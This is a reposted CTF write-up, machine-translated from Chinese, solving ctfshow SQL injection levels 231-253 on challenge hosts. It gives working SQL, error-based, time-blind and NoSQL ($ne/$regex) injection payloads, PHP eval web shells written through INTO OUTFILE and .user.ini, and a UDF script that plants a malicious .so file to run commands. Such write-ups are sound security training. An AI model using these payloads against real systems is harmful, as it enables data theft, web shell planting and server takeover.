当前位置:网站首页>Ctfshow SQL injection (231-253)

Ctfshow SQL injection (231-253)

2022-06-13 04:26:00 yu22x

231

update Inject
There are actually two functions in the title , One is update, One more select.
But we visit update.php, I'll know the execution .
So just update the query table or column statement to the user name or password .

# Get all table names 

password=',username=(select  group_concat(table_name) from information_schema.tables where table_schema=database())%23&username=1

# Get all column names 
password=',username=(select  group_concat(column_name) from information_schema.columns where table_name='flaga')%23&username=1

# obtain flag
password=',username=(select  group_concat(flagas) from flaga)%23&username=1

232

password Add a md5, Then we can close more than one .

# Get all table names 

password=',username=(select  group_concat(table_name) from information_schema.tables where table_schema=database())%23&username=1

# Get all column names 
password='),username=(select  group_concat(column_name) from information_schema.columns where table_name='flagaa')%23&username=1

# obtain flag
password='),username=(select  group_concat(flagass) from flagaa)%23&username=1

233

After several attempts, it was found that the query always failed .
It feels like update Before , Also on the pass Fields are processed , Single quotation marks cannot be passed in , However, it can be passed in \, That's interesting .

update ctfshow_user set pass = '{$password}' where username = '{$username}'

Suppose we password Pass in \,username Pass in ,username=database()#
Then the final sentence is as follows

update ctfshow_user set pass = '\' where username = ',username=database()#'
 Equivalent to 
update ctfshow_user set pass = 'x',username=database()#'

So you can bypass .
payload

# Get table name 
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23

# To get the column name 
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name='flag233333')%23

# get data 
password=\&username=,username=(select group_concat(flagass233) from flag233333)%23

234

It feels filtered quotes , But it doesn't matter

payload

# Get table name 
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23

# To get the column name 
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where ttable_schema=database())%23

# get data 
password=\&username=,username=(select group_concat(flagass23s3) from flag23a)%23

235

Single quotes and... Are filtered or, therefore information_schema The library is unusable , You can consider mysql perhaps sys

# Get table name 
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats)%23

Because there is no special storage for column names in other libraries , Therefore, column name free injection is required . You can refer to the following article (https://blog.csdn.net/qq_31620591/article/details/117067799

# get data 
password=\&username=,username=(select group_concat(`2`)  from (select 1,2,3 union select * from flag23a1) as a)%23

236

# Get table name 
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats)%23

Filtering adds flag, At first, I thought it was filtering the input , But after the test, I found that payload The same applies ....

# get data 
password=\&username=,username=(select group_concat(`2`)  from (select 1,2,3 union select * from flaga) as a)%23

237

insert Inject

# Get table name 
username=1',(select group_concat(table_name) from information_schema.tables where table_schema=database()))%23&password=1

# To get the column name 
username=1',(select group_concat(column_name) from information_schema.columns where table_name='flag'))%23&password=1

# get data 
username=1',(select group_concat(flagass23s3) from flag))%23&password=1

238

Filtered spaces ,%09 /**/, There should be a lot more , Then use parentheses .

# Get table name 
username=1',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))%23&password=1

# To get the column name 
username=1',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flagb')))%23&password=1

# get data 
username=1',(select(group_concat(flag))from(flagb)))%23&password=1

239

The idea of bypassing is the same as 235, Use no column name injection .

# Get table name 
username=1',(select(group_concat(table_name))from(mysql.innodb_table_stats)))%23&password=1

# get data 
 According to the method of no column name injection, it doesn't come out 
username=1',(select`1`from(select(1),(2),(3)union(select*from(flagbb)))as`a`))%23&password=1
 A blind guess flag
username=1',(select(flag)from(flaagbb)))%23&password=1

240

The table name is in total 9 position ,flag start , The last five are from a/b form , Such as flagabaab, Full lowercase
Said the composition of the table name , Direct blasting can .

import requests  
url="http://4607becd-20d4-49a4-a488-e20f06b3abe7.challenge.ctf.show/api/insert.php"
s='ab'
for i in s:
    for j in s:
        for k in s:  
            for l in s:  
                for m in s:
                    table='flag'+i+j+k+l+m 
                    data={
    'username':f"1',(select(flag)from({
      table})))#",
                    'password':'1'}
                    requests.post(url,data=data)

After running, refresh the query interface .

241

because delete Can't insert anything , So we can only consider blind injection .
If it is a Boolean blind note , It can , But not so much id For us to delete , So let's use time blind injection .( But this question is too easy to break qaq)

# @Author:yu22x
import requests
import time
import urllib.parse
url = "http://b37e7121-22c6-4917-bfa5-ddc38a0ed78f.challenge.ctf.show/api/delete.php"
s='0123456789abcdef-'
flag='ctfshow{'

for i in range(9,46):
		print(i)
		for j in s:
			data={
    'id':f'0||if(substr((select flag from flag),{
      i},1)="{
      j}",sleep(1),0)'}
			#print(data)
			try:
				requests.post(url,data=data,timeout=1)
			except:
				flag+=j  
				print(flag)
				break
			time.sleep(1)

242

The title directly gives a sentence to write a file
select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';
But what is written is uncontrollable , But what? into outfile You can also follow lines terminated by
such as
select * from ctfshow_user into outfile a.txt' lines terminated by 'abc';
In this way, the end of all the queried data will be added with abc, And write it to a.txt in
payload

filename=1.php' lines terminated by '<?php eval($_POST[1]);phpinfo();?>'%23

Trojan horse dump/1.php in .
Other than that lines terminated by also
lines starting by
fields terminated by

243

It's filtered out php
To our php The code impact is small , After all, short tags can be used to bypass , The main thing is that the file name cannot contain php.
This is a bit like file uploading .
adopt 404 The page can be seen as nginx Server's , So you can upload .user.ini The configuration file
You can upload .user.ini To include files ( This question is directly in dump There is a... Under the directory index.php, That's why it can be used like this )
1、 Upload .user.ini
In order not to affect the resolution of the configuration file , Let's write the main content first , Note out the following , So you need to use lines starting by

filename=.user.ini' lines starting by 'auto_append_file="a.png";'%23

2、 Upload a.png

filename=a.png' lines starting by '<?=eval($_POST[1]);?>'%23

3、 The Trojan horse will /dump/index.php in , The ant sword can be connected .

244

Error reporting injection is relatively simple . Just pay attention to the parameters of each function
For the use of functions, please refer to this article http://t.zoukankan.com/Dleo-p-5493782.html

# Get table name 
1'||extractvalue(0x0a,concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23

# To get the column name 
1'||extractvalue(0x0a,concat(0x0a,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag')))%23

# obtain flag( There is a length limit for error reporting , So it needs to be spliced )
1'||extractvalue(0x0a,concat(0x0a,(select group_concat(flag) from ctfshow_flag)))%23
1'||extractvalue(0x0a,concat(0x0a,(select right(group_concat(flag),20) from ctfshow_flag)))%23

245

ditto

246

Filter updatexml extractvalue It can be used floor

# Get table name 
1' union select 1,count(*),concat(0x3a,0x3a,(select (table_name) from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23 # To get the column name  1' union select 1,count(*),concat(0x3a,0x3a,(select (column_name) from information_schema.columns where table_name='ctfshow_flags'  limit 1,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23

# get data 
1' union select 1,count(*),concat(0x3a,0x3a,(select (flag2) from ctfshow_flags  limit 0,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23

247

Mysql Integral function
1.round
Round to the nearest whole
round(s,n): Yes s Rounding reservation n Decimal place ,n The value can be positive 、 negative 、 zero .
Such as rounding to the whole number , be n Take zero .

2.ceil
Rounding up
ceil(s): Return ratio s The smallest big integer

3.floor
Rounding down
floor(s): Return ratio s The smallest and largest integer

Just put the last step floor Replace with ceil perhaps round that will do .
There's one thing to note , The list shows that flag?, So when we look up the data, we need to put a back quotation mark

1' union select 1,count(*),concat(0x3a,0x3a,(select (`flag?`) from ctfshow_flagsa  limit 0,1),0x3a,0x3a, round(rand(0)*2))a from information_schema.columns group by a%23

248

udf Its full name is :user defined function, User defined function ; Users can add custom new functions to Mysql in , To achieve functional expansion , The calling method is the same as that of the general system , for example contact(),user(),version() Such as function .
Write location :/usr/lib/MySQL Catalog /plugin
Specific steps :
take udf Put the file in the specified location (Mysql>5.1 Put it in Mysql Root directory lib\plugin Under the folder )
from udf Introduce custom functions into the file (user defined function)
Execute custom function
create function sys_eval returns string soname 'hack.so';
select sys_eval('whoami');

But this question is get Pass value , So there is a length limit , You have to send it in sections .
You can create multiple files , Re pass concat To make a complete so file .
Malicious so We can file it through sqlmap The file in gets , You can also use brother Guang's blog https://www.sqlsec.com/tools/udf.html
Generally, this is OK .
 Insert picture description here
hold 0X hinder 16 The hexadecimal value is filled in the following script udf Variables are OK .

import requests  
url="http://c6f4f7dd-8c43-4f3c-ad0e-64fceee8f620.challenge.ctf.show/api/"
udf=""
udfs=[]
for i in range(0,len(udf),5000):
    udfs.append(udf[i:i+5000])
# Write to multiple files 
for i in udfs:
    url1=url+f"?id=1';SELECT '{
      i}' into dumpfile '/tmp/"+str(udfs.index(i))+".txt'%23"
    requests.get(url1)

# Merge files to generate so file 
url2=url+"?id=1';SELECT unhex(concat(load_file('/tmp/0.txt'),load_file('/tmp/1.txt'),load_file('/tmp/2.txt'),load_file('/tmp/3.txt'))) into dumpfile '/usr/lib/mariadb/plugin/hack.so'%23"
requests.get(url2)

# Create custom functions and execute malicious commands 
requests.get(url+"?id=1';create function sys_eval returns string soname 'hack.so'%23")
r=requests.get(url+"?id=1';select sys_eval('cat /f*')%23")
print(r.text)

249

Through the query statement, you can guess that Memcache Cache database

$user = $memcache->get($id);

I found some of this database in php Chinese grammar

$m=new Memcache();
$m->connect($host,$port);
$m->add($key,$value[,flags,$expire_time]);
$content=$m->get($key);
$m->close();

If you want to query the value of a key , Then there must be an insertion in front of it .
But write directly id=flag Wrong report , Writing other letters is also an error . It must be filtered . But queries can also be written like this

$content=$m->get(['a','b'])['a'];

That is, pass in an array .
payload:
id[]=flag

250

mongodb Inject
It is suggested to study simply mongodb The grammar of

Basic grammar

SQL The term / Concept MongoDB The term / Concept explain / explain
databasedatabase database
tablecollection Database table / aggregate
rowdocument Data record row / file
columnfield Data field / Domain

Database operation

 Display all databases 
show dbs #show databases

 Create database 
use  Library name  # If the database doesn't exist , Then create the database , Otherwise switch to the specified database .show dbs The created database is not seen in the execution result , Because there was no data in the database at first and it was in memory , When you have the data, it will be displayed .

 Delete database 
db.dropDatabase() # Delete the current database 

Set operations

 Explicitly create a collection 
db.createCollection("userinfo");// Create a file called usersinfo Set 

 Implicitly create a collection 
db.userinfo.insert({name:"yu22x"});// Go to collection2 Add data to a collection to create a collection , If the collection does not exist, the collection is automatically created .

 View set 
show collections;//(show tables)

 Delete the collection userinfo
db.userinfo.drop();

 notes :mongo Chinese support js, It can be done by js The operation realizes wholesale and retail processing , Such as :for(var i=0;i<1000;i++){db.userinfo.insert({name:"xiaomu"+i,age:20+i});}
 Fixed set 

We focus on mongodb Conditional statement in

operation Format Example RDBMS Similar statement in
be equal to {:}db.userinfo.find({“name”:“yu22x”})where name = ‘yu22x’
Less than {:{$lt:}}db.userinfo.find({“age”:{$lt:20}})where age < 20
Less than or equal to {:{$lte:}}db.userinfo.find({“age”:{$lte:20}})where age <= 20
Greater than {:{$gt:}}db.userinfo.find({“age”:{$gt:20}})where age > 20
Greater than or equal to {:{$gte:}}db.userinfo.find({“age”:{$gte:20}})where age >= 20
It's not equal to {:{$ne:}}db.userinfo.find({“likes”:{$ne:20}})where age != 20
AND  Inquire about 
db.userinfo.find({key1:value1, key2:value2})

OR  Inquire about 
db.userinfo.find({$or: [{key1: value1}, {key2:value2}]})

stay mongodb The query in is like this ,

db.userinfo.find({name:'yu22x'});

Be similar to
where username='yu22x'
among userinfo Is the name of the table ( Collection name )
And in the mongodb The conditional statements in have an interesting

db.userinfo.find({"likes":{$ne:20}})

Install similar to
where likes != 20
So when we introduce
username[$ne]=1&password[$ne]=1
It is equivalent to
where username!=1&password!=1, That is to say nosql Yongzhen form in .

251

According to the above method, we can get admin The username and password of ,flag It should be in other items , So checking the user name again doesn't mean admin The can .
payload:
username[$ne]=admin&passworda[$ne]=1

252

nosql Regular expressions are also supported in
So you can go straight to password China and Israel ctfshow{ At the beginning .
payload
username[$ne]=1&password[$regex]=^ctfshow{

253

Use regular regex Blind password

#author:yu22x
import requests
url="http://23fde3ab-6f1e-45f0-a918-576d3ac9525b.challenge.ctf.show/api/index.php"
flag="ctfshow{"
s='0123456789abcdef-}'
for i in range(9,46):
    print(i)
    for j in s:
        data={
    
            'username[$ne]':'1',
            'password[$regex]':f'^{
      flag+j}'
        }
        r=requests.post(url=url,data=data)
        if r"\u767b\u9646\u6210\u529f" in r.text:
            flag+=j
            print(flag)
            if j=="}":
                exit()
            break
原网站

版权声明
本文为[yu22x]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/164/202206130420275066.html